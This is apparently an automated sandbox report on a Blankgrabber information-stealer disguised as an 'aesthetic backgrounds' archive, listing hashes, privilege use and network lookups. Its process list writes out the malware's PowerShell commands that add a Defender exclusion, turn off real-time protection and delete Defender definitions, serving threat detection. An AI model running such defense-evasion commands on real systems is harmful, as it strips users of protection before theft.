Analysis Overview
SHA256
fcb1915fe712776173085ba1c24e3d38ea93c409b551cb808227efcf61c466bc
Threat Level: Known bad
The file AESTHETICBACKGROUNDS.rar was found to be: Known bad.
Malicious Activity Summary
Blankgrabber family
A stealer written in Python and packaged with Pyinstaller
Command and Scripting Interpreter: PowerShell
UPX packed file
Loads dropped DLL
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Enumerates processes with tasklist
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: GetForegroundWindowSpam
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-05-31 15:03
Signatures
A stealer written in Python and packaged with Pyinstaller
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blankgrabber family
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-31 15:03
Reported
2024-05-31 15:07
Platform
win10v2004-20240226-en
Max time kernel
137s
Max time network
157s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Loads dropped DLL
UPX packed file
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Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\tasklist.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncreaseQuotaPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeLoadDriverPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemProfilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemtimePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeProfSingleProcessPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeUndockPrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: SeManageVolumePrivilege | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 33 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 34 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 35 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| Token: 36 | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe
"C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe"
C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe
"C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('made by oscar', 0, 'press f2 to open pack!', 48+16);close()""
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe'
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('made by oscar', 0, 'press f2 to open pack!', 48+16);close()"
C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2384 --field-trial-handle=3084,i,4016110471176367543,14287608422419064331,262144 --variations-seed-version /prefetch:8
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| GB | 96.16.110.114:80 | tcp | |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | blank-ohlsa.in | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 13.107.253.64:443 | tcp | |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 164.189.21.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\_MEI40282\python310.dll
| MD5 | 178a0f45fde7db40c238f1340a0c0ec0 |
| SHA1 | dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe |
| SHA256 | 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed |
| SHA512 | 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee |
memory/4000-24-0x00007FF894850000-0x00007FF894CBE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI40282\VCRUNTIME140.dll
| MD5 | 870fea4e961e2fbd00110d3783e529be |
| SHA1 | a948e65c6f73d7da4ffde4e8533c098a00cc7311 |
| SHA256 | 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644 |
| SHA512 | 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\base_library.zip
| MD5 | 22fee1506d933abb3335ffb4a1e1d230 |
| SHA1 | 18331cba91f33fb6b11c6fdefa031706ae6d43a0 |
| SHA256 | 03f6a37fc2e166e99ce0ad8916dfb8a70945e089f9fc09b88e60a1649441ab6e |
| SHA512 | 3f764337a3fd4f8271cba9602aef0663d6b7c37a021389395a00d39bd305d2b927a150c2627b1c629fdbd41c044af0f7bc9897f84c348c2bccc085df911eee02 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_ctypes.pyd
| MD5 | 813fc3981cae89a4f93bf7336d3dc5ef |
| SHA1 | daff28bcd155a84e55d2603be07ca57e3934a0de |
| SHA256 | 4ac7fb7b354069e71ebf7fcc193c0f99af559010a0ad82a03b49a92deb0f4d06 |
| SHA512 | ce93f21b315d96fde96517a7e13f66aa840d4ad1c6e69e68389e235e43581ad543095582ebcb9d2c6dda11c17851b88f5b1ed1d59d354578fe27e7299bbea1cc |
memory/4000-30-0x00007FF8A4FA0000-0x00007FF8A4FC4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI40282\libffi-7.dll
| MD5 | 6f818913fafe8e4df7fedc46131f201f |
| SHA1 | bbb7ba3edbd4783f7f973d97b0b568cc69cadac5 |
| SHA256 | 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56 |
| SHA512 | 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\sqlite3.dll
| MD5 | bd2819965b59f015ec4233be2c06f0c1 |
| SHA1 | cff965068f1659d77be6f4942ca1ada3575ca6e2 |
| SHA256 | ab072d20cee82ae925dae78fd41cae7cd6257d14fd867996382a69592091d8ec |
| SHA512 | f7758bd71d2ad236bf3220db0ad26f3866d9977eab311a5912f6e079b59fa918735c852de6dbf7b5fee9e04124bc0cd438c4c71edc0c04309330108ba0085d59 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_ssl.pyd
| MD5 | 081c878324505d643a70efcc5a80a371 |
| SHA1 | 8bef8336476d8b7c5c9ef71d7b7db4100de32348 |
| SHA256 | fcb70b58f94f5b0f9d027999cce25e99ddcc8124e4ddcc521cb5b96a52faaa66 |
| SHA512 | c36293b968a2f83705815ef3a207e444eeb7667ad9af61df75e85151f74f2fe0a299b3b1349de0d410bbbaea9f99cac5228189099a221de5fa1e20c97c648e32 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_sqlite3.pyd
| MD5 | bb4aa2d11444900c549e201eb1a4cdd6 |
| SHA1 | ca3bb6fc64d66deaddd804038ea98002d254c50e |
| SHA256 | f44d80ab16c27ca65da23ae5fda17eb842065f3e956f10126322b2ea3ecdf43f |
| SHA512 | cd3c5704e5d99980109fdc505d39ad5b26a951685e9d8e3fed9e0848cd44e24cc4611669dbdb58acc20f1f4a5c37d5e01d9d965cf6fe74f94da1b29aa2ff6931 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_socket.pyd
| MD5 | 7a31bc84c0385590e5a01c4cbe3865c3 |
| SHA1 | 77c4121abe6e134660575d9015308e4b76c69d7c |
| SHA256 | 5614017765322b81cc57d841b3a63cbdc88678ff605e5d4c8fdbbf8f0ac00f36 |
| SHA512 | b80cd51e395a3ce6f345b69243d8fc6c46e2e3828bd0a7e63673a508d889a9905d562cac29f1ed394ccfcda72f2f2e22f675963dd96261c19683b06dea0a0882 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_queue.pyd
| MD5 | 0e7612fc1a1fad5a829d4e25cfa87c4f |
| SHA1 | 3db2d6274ce3dbe3dbb00d799963df8c3046a1d6 |
| SHA256 | 9f6965eb89bbf60df0c51ef0750bbd0655675110d6c42eca0274d109bd9f18a8 |
| SHA512 | 52c57996385b9a573e3105efa09fd6fd24561589b032ef2b2ee60a717f4b33713c35989f2265669f980646d673e3c387b30b9fc98033bb8ca7c59ece1c17e517 |
memory/4000-44-0x00007FF8A5600000-0x00007FF8A560F000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_lzma.pyd
| MD5 | 6f810f46f308f7c6ccddca45d8f50039 |
| SHA1 | 6ee24ff6d1c95ba67e1275bb82b9d539a7f56cea |
| SHA256 | 39497259b87038e86c53e7a39a0b5bbbfcebe00b2f045a148041300b31f33b76 |
| SHA512 | c692367a26415016e05ebe828309d3ffec290c6d2fd8cc7419d529a51b0beda00ccdc327c9f187ae3ca0cc96336d23d84a8ff95b729c8958b14fb91b6da9e878 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_hashlib.pyd
| MD5 | 4ae75c47dbdebaa16a596f31b27abd9e |
| SHA1 | a11f963139c715921dedd24bc957ab6d14788c34 |
| SHA256 | 2308ee238cc849b1110018b211b149d607bf447f4e4c1e61449049eab0cf513d |
| SHA512 | e908fecb52268fac71933e2fdb96e539bdebe4675dfb50065aee26727bac53e07cca862193bcb3ab72d2ae62d660113a47e73e1e16db401480e4d3fd34d54fa8 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_decimal.pyd
| MD5 | f65d2fed5417feb5fa8c48f106e6caf7 |
| SHA1 | 9260b1535bb811183c9789c23ddd684a9425ffaa |
| SHA256 | 574fe8e01054a5ba07950e41f37e9cf0aea753f20fe1a31f58e19202d1f641d8 |
| SHA512 | 030502fa4895e0d82c8cce00e78831fc3b2e6d956c8cc3b9fb5e50cb23ef07cd6942949a9f16d02da6908523d9d4ef5f722fb1336d4a80cd944c9f0cb11239ab |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\_bz2.pyd
| MD5 | 93fe6d3a67b46370565db12a9969d776 |
| SHA1 | ff520df8c24ed8aa6567dd0141ef65c4ea00903b |
| SHA256 | 92ec61ca9ac5742e0848a6bbb9b6b4cda8e039e12ab0f17fb9342d082dde471b |
| SHA512 | 5c91b56198a8295086c61b4f4e9f16900a7ec43ca4b84e793bc8a3fc8676048cab576e936515bf2971318c7847f1314674b3336fe83b1734f9f70d09615519ac |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\unicodedata.pyd
| MD5 | 7a462a10aa1495cef8bfca406fb3637e |
| SHA1 | 6dcbd46198b89ef3007c76deb42ab10ba4c4cf40 |
| SHA256 | 459bca991fcb88082d49d22cc6ebffe37381a5bd3efcc77c5a52f7a4bb3184c0 |
| SHA512 | d2b7c6997b4bd390257880a6f3336e88d1dd7159049811f8d7c54e3623e9b033e18e8922422869c81de72fc8c10890c173d8a958d192dd03bfc57cffaea1ac7b |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\select.pyd
| MD5 | 666358e0d7752530fc4e074ed7e10e62 |
| SHA1 | b9c6215821f5122c5176ce3cf6658c28c22d46ba |
| SHA256 | 6615c62fa010bfba5527f5da8af97313a1af986f8564277222a72a1731248841 |
| SHA512 | 1d3d35c095892562ddd2868fbd08473e48b3bb0cb64ef9ccc5550a06c88dda0d82383a1316b6c5584a49ca28ed1ef1e5ca94ec699a423a001ccd952bd6bd553d |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\rarreg.key
| MD5 | 4531984cad7dacf24c086830068c4abe |
| SHA1 | fa7c8c46677af01a83cf652ef30ba39b2aae14c3 |
| SHA256 | 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211 |
| SHA512 | 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\rar.exe
| MD5 | 9c223575ae5b9544bc3d69ac6364f75e |
| SHA1 | 8a1cb5ee02c742e937febc57609ac312247ba386 |
| SHA256 | 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213 |
| SHA512 | 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\libssl-1_1.dll
| MD5 | eac369b3fde5c6e8955bd0b8e31d0830 |
| SHA1 | 4bf77158c18fe3a290e44abd2ac1834675de66b4 |
| SHA256 | 60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c |
| SHA512 | c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778 |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\libcrypto-1_1.dll
| MD5 | daa2eed9dceafaef826557ff8a754204 |
| SHA1 | 27d668af7015843104aa5c20ec6bbd30f673e901 |
| SHA256 | 4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914 |
| SHA512 | 7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea |
C:\Users\Admin\AppData\Local\Temp\_MEI40282\blank.aes
| MD5 | 9f15fad9a9652b03626a8258f4ab5cda |
| SHA1 | 493faa83c8beaaf40246b3bb6bb5ddf90a4e00f5 |
| SHA256 | 2ff18fdf014b4dd3b0fadf31acbb9793bd4b4a53c0dca7b6a1c120cf2e7e3e92 |
| SHA512 | 21cc5bb0a7d31692643ebd500dc485d2faf871affdbe630d28addc2b36aad1e46e0106290f5e4f9d101fa5eeec02948f62fcc63bedba27e23a9293f9d65fcc5d |
memory/4000-54-0x00007FF8A4810000-0x00007FF8A483D000-memory.dmp
memory/4000-56-0x00007FF8A5370000-0x00007FF8A5389000-memory.dmp
memory/4000-58-0x00007FF8A5040000-0x00007FF8A505F000-memory.dmp
memory/4000-65-0x00007FF8A5040000-0x00007FF8A505F000-memory.dmp
memory/4000-67-0x00007FF8946D0000-0x00007FF894841000-memory.dmp
memory/4000-63-0x00007FF8A4810000-0x00007FF8A483D000-memory.dmp
memory/4000-61-0x00007FF8A4FA0000-0x00007FF8A4FC4000-memory.dmp
memory/4000-60-0x00007FF894850000-0x00007FF894CBE000-memory.dmp
memory/4000-69-0x00007FF8A47F0000-0x00007FF8A4809000-memory.dmp
memory/4000-71-0x00007FF894850000-0x00007FF894CBE000-memory.dmp
memory/4000-72-0x00007FF8A4F90000-0x00007FF8A4F9D000-memory.dmp
memory/4000-75-0x00007FF89BD30000-0x00007FF89BD5E000-memory.dmp
memory/4000-74-0x00007FF8A4FA0000-0x00007FF8A4FC4000-memory.dmp
memory/4000-77-0x00007FF894610000-0x00007FF8946C8000-memory.dmp
memory/4000-80-0x00000279FEC00000-0x00000279FEF75000-memory.dmp
memory/4000-81-0x00007FF894290000-0x00007FF894605000-memory.dmp
memory/4000-83-0x00007FF8A3190000-0x00007FF8A31A4000-memory.dmp
memory/4000-85-0x00007FF8A4F60000-0x00007FF8A4F6D000-memory.dmp
memory/4000-87-0x00007FF894170000-0x00007FF894288000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qv2owltv.iiz.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2444-106-0x0000019F70500000-0x0000019F70522000-memory.dmp
memory/4000-108-0x00007FF8A4FA0000-0x00007FF8A4FC4000-memory.dmp
memory/4000-112-0x00007FF8A5040000-0x00007FF8A505F000-memory.dmp
memory/4000-121-0x00007FF894170000-0x00007FF894288000-memory.dmp
memory/4000-122-0x00007FF894850000-0x00007FF894CBE000-memory.dmp
memory/4000-120-0x00007FF8A4F60000-0x00007FF8A4F6D000-memory.dmp
memory/4000-119-0x00007FF8A3190000-0x00007FF8A31A4000-memory.dmp
memory/4000-117-0x00007FF894610000-0x00007FF8946C8000-memory.dmp
memory/4000-116-0x00007FF89BD30000-0x00007FF89BD5E000-memory.dmp
memory/4000-115-0x00007FF8A4F90000-0x00007FF8A4F9D000-memory.dmp
memory/4000-114-0x00007FF8A47F0000-0x00007FF8A4809000-memory.dmp
memory/4000-113-0x00007FF8946D0000-0x00007FF894841000-memory.dmp
memory/4000-111-0x00007FF8A5370000-0x00007FF8A5389000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\_MEI40282\blank.aes
| MD5 | 420ac5da0c4d4ecc69f210e0efb79558 |
| SHA1 | b7bdedf6df243ed80a0675c5f77c3c7da4fbf21d |
| SHA256 | 33035d67186e32c2d49b4181c265a55ba74b97fa55d1552467c105ea401fe946 |
| SHA512 | 5f661d2a052555f29185b2f99ca968bffadd23aeffc3badf9f9813372440291c38651a4ecd56b9aae13a5024403bd15314f95182952373215373f026a0030909 |
memory/4000-110-0x00007FF8A4810000-0x00007FF8A483D000-memory.dmp
memory/4000-109-0x00007FF8A5600000-0x00007FF8A560F000-memory.dmp
memory/4000-118-0x00007FF894290000-0x00007FF894605000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | d85ba6ff808d9e5444a4b369f5bc2730 |
| SHA1 | 31aa9d96590fff6981b315e0b391b575e4c0804a |
| SHA256 | 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f |
| SHA512 | 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | d28a889fd956d5cb3accfbaf1143eb6f |
| SHA1 | 157ba54b365341f8ff06707d996b3635da8446f7 |
| SHA256 | 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45 |
| SHA512 | 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c |
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-31 15:03
Reported
2024-05-31 15:07
Platform
win7-20240419-en
Max time kernel
118s
Max time network
120s
Command Line
Signatures
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskmgr.exe | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3012 wrote to memory of 2608 | N/A | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe |
| PID 3012 wrote to memory of 2608 | N/A | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe |
| PID 3012 wrote to memory of 2608 | N/A | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe | C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe
"C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe"
C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe
"C:\Users\Admin\AppData\Local\Temp\AESTHETICBACKGROUNDS\aestheticbackgrds.exe"
C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
Network
Files
C:\Users\Admin\AppData\Local\Temp\_MEI30122\python310.dll
| MD5 | 178a0f45fde7db40c238f1340a0c0ec0 |
| SHA1 | dcd2d3d14e06da3e8d7dc91a69b5fd785768b5fe |
| SHA256 | 9fcb5ad15bd33dd72122a171a5d950e8e47ceda09372f25df828010cde24b8ed |
| SHA512 | 4b790046787e57b9414a796838a026b1530f497a75c8e62d62b56f8c16a0cbedbefad3d4be957bc18379f64374d8d3bf62d3c64b53476c7c5005a7355acd2cee |
memory/2608-23-0x000007FEF5810000-0x000007FEF5C7E000-memory.dmp
memory/2760-44-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/2760-45-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/2760-46-0x0000000140000000-0x00000001405E8000-memory.dmp
memory/2760-47-0x0000000140000000-0x00000001405E8000-memory.dmp